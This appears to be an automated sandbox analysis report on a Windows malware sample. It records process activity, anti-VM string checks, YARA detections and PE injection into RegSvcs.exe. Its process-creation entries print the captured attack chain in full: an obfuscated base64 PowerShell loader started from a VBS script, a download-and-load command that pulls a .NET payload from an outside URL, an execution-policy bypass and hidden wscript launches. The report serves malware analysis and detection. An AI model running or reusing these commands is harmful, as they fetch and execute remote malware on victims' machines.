Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599797
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599641
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599417
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599266
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599092
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598891
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598738
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598603
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598453
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData

Source: wscript.exe, 0000001B.00000002.2346659137.000001C71FEBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000004.00000002.2487072351.00000155DC173000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.3715892947.000001C054380000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000021.00000002.2793866781.000001C03C89F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: wscript.exe, 0000001E.00000002.2362115387.000002B93E584000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\------
Source: powershell.exe, 00000013.00000002.3279664039.00000240D8850000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_6644.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7896.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7728.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, MXuuJb.cs	Reference to suspicious API methods: ReadProcessMemory_API(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesWritten)
Source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, MXuuJb.cs	Reference to suspicious API methods: VirtualAllocEx_API(processInformation.ProcessHandle, num4, length, 12288, 64)
Source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, MXuuJb.cs	Reference to suspicious API methods: WriteProcessMemory_API(processInformation.ProcessHandle, num5, data, bufferSize, ref bytesWritten)
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, AntiProcess.cs	Reference to suspicious API methods: OpenProcess(1u, bInheritHandle: false, processId)
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, Win32.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, Win32.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\user\AppData\Local\Temp\xx1.ps1

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 40E000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 410000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 906008	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 40E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 410000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 1059008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 40E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 410000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: BA7008

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\xx2.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command wscript.exe //b //nologo 'C:\Users\user\AppData\Local\Temp\sostener.vbs'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\system32\wscript.exe" //b //nologo C:\Users\user\AppData\Local\Temp\sostener.vbs
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bz HE YQBh Go I 9 C Jw w DE Mw n Ds J B3 Gk a Bs HY I 9 C Jw l H egBB GM TwBn Ek bgBN HI JQ n Ds WwBC Hk d Bl Fs XQBd C J Bu G4 dQBv GE I 9 C WwBz Hk cwB0 GU bQ u EM bwBu HY ZQBy HQ XQ 6 Do RgBy G8 bQBC GE cwBl DY N BT HQ cgBp G4 Zw o C K BO GU dw t E8 YgBq GU YwB0 C TgBl HQ LgBX GU YgBD Gw aQBl G4 d p C4 R Bv Hc bgBs G8 YQBk FM d By Gk bgBn Cg JwBo HQ d Bw HM Og v C8 dwB3 Hc LgBp G4 ZgBv HI bQBh GM aQBv G4 bwBw G8 cgB0 HU bgBh C4 YwBv G0 LwB3 H LQBj G8 bgB0 GU bgB0 C8 dQBw Gw bwBh GQ cw v DI M y DQ Lw w Dk LwBk Gw b Bz Gs eQBm GE b u HQ e B0 Cc KQ p Ds WwBz Hk cwB0 GU bQ u EE c Bw EQ bwBt GE aQBu F0 Og 6 EM dQBy HI ZQBu HQ R Bv G0 YQBp G4 LgBM G8 YQBk Cg J Bu G4 dQBv GE KQ u Ec ZQB0 FQ eQBw GU K n EM b Bh HM cwBM Gk YgBy GE cgB5 DE LgBD Gw YQBz HM MQ n Ck LgBH GU d BN GU d Bo G8 Z o Cc WgB4 Es S BH Cc KQ u Ek bgB2 G8 awBl Cg J Bu HU b Bs Cw I Bb G8 YgBq GU YwB0 Fs XQBd C K n HQ e B0 C4 MQBT EQ LwBT FY TgBF C8 egBy GE TQ v Gc ZQBS C8 awBh FQ Lw 5 DY MQ u DM Mw y C4 Mg w DI Lg x Dk Lw v Do c B0 HQ a n C L g CQ dwBp Gg b B2 C L g Cc XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf F8 XwBf C0 LQ t C0 LQ t C0 LQ t C0 LQ t C0 Jw s C J Bz HE YQBh Go L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\user\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\user\AppData\Local\Temp\xx1.ps1

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $exeny = 'j bz he yqbh go i 9 c jw w de mw n ds j b3 gk a bs hy i 9 c jw l h egbb gm twbn ek bgbn hi jq n ds wwbc hk d bl fs xqbd c j bu g4 dqbv ge i 9 c wwbz hk cwb0 gu bq u em bwbu hy zqby hq xq 6 do rgby g8 bqbc ge cwbl dy n bt hq cgbp g4 zw o c k bo gu dw t e8 ygbq gu ywb0 c tgbl hq lgbx gu ygbd gw aqbl g4 d p c4 r bv hc bgbs g8 yqbk fm d by gk bgbn cg jwbo hq d bw hm og v c8 dwb3 hc lgbp g4 zgbv hi bqbh gm aqbv g4 bwbw g8 cgb0 hu bgbh c4 ywbv g0 lwb3 h lqbj g8 bgb0 gu bgb0 c8 dqbw gw bwbh gq cw v di m y dq lw w dk lwbk gw b bz gs eqbm ge b u hq e b0 cc kq p ds wwbz hk cwb0 gu bq u ee c bw eq bwbt ge aqbu f0 og 6 em dqby hi zqbu hq r bv g0 yqbp g4 lgbm g8 yqbk cg j bu g4 dqbv ge kq u ec zqb0 fq eqbw gu k n em b bh hm cwbm gk ygby ge cgb5 de lgbd gw yqbz hm mq n ck lgbh gu d bn gu d bo g8 z o cc wgb4 es s bh cc kq u ek bgb2 g8 awbl cg j bu hu b bs cw i bb g8 ygbq gu ywb0 fs xqbd c k n hq e b0 c4 mqbt eq lwbt fy tgbf c8 egby ge tq v gc zqbs c8 awbh fq lw 5 dy mq u dm mw y c4 mg w di lg x dk lw v do c b0 hq a n c l g cq dwbp gg b b2 c l g cc xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf c0 lq t c0 lq t c0 lq t c0 lq t c0 jw s c j bz he yqbh go l g cc mq n cw i n fi bwbk ge jw g ck kq 7 ==';$kbyhl = [system.text.encoding]::unicode.getstring( [system.convert]::frombase64string( $exeny.replace(' ','a') ) );$kbyhl = $kbyhl.replace('%pzacoginmr%', 'c:\users\user\desktop\sostener.vbs');powershell $kbyhl;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'c:\users\user\desktop\sostener.vbs';[byte[]] $nnuoa = [system.convert]::frombase64string( (new-object net.webclient).downloadstring('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.appdomain]::currentdomain.load($nnuoa).gettype('classlibrary1.class1').getmethod('zxkhg').invoke($null, [object[]] ('txt.1sd/svne/zram/ger/kat/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $exeny = 'j bz he yqbh go i 9 c jw w de mw n ds j b3 gk a bs hy i 9 c jw l h egbb gm twbn ek bgbn hi jq n ds wwbc hk d bl fs xqbd c j bu g4 dqbv ge i 9 c wwbz hk cwb0 gu bq u em bwbu hy zqby hq xq 6 do rgby g8 bqbc ge cwbl dy n bt hq cgbp g4 zw o c k bo gu dw t e8 ygbq gu ywb0 c tgbl hq lgbx gu ygbd gw aqbl g4 d p c4 r bv hc bgbs g8 yqbk fm d by gk bgbn cg jwbo hq d bw hm og v c8 dwb3 hc lgbp g4 zgbv hi bqbh gm aqbv g4 bwbw g8 cgb0 hu bgbh c4 ywbv g0 lwb3 h lqbj g8 bgb0 gu bgb0 c8 dqbw gw bwbh gq cw v di m y dq lw w dk lwbk gw b bz gs eqbm ge b u hq e b0 cc kq p ds wwbz hk cwb0 gu bq u ee c bw eq bwbt ge aqbu f0 og 6 em dqby hi zqbu hq r bv g0 yqbp g4 lgbm g8 yqbk cg j bu g4 dqbv ge kq u ec zqb0 fq eqbw gu k n em b bh hm cwbm gk ygby ge cgb5 de lgbd gw yqbz hm mq n ck lgbh gu d bn gu d bo g8 z o cc wgb4 es s bh cc kq u ek bgb2 g8 awbl cg j bu hu b bs cw i bb g8 ygbq gu ywb0 fs xqbd c k n hq e b0 c4 mqbt eq lwbt fy tgbf c8 egby ge tq v gc zqbs c8 awbh fq lw 5 dy mq u dm mw y c4 mg w di lg x dk lw v do c b0 hq a n c l g cq dwbp gg b b2 c l g cc xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf f8 xwbf c0 lq t c0 lq t c0 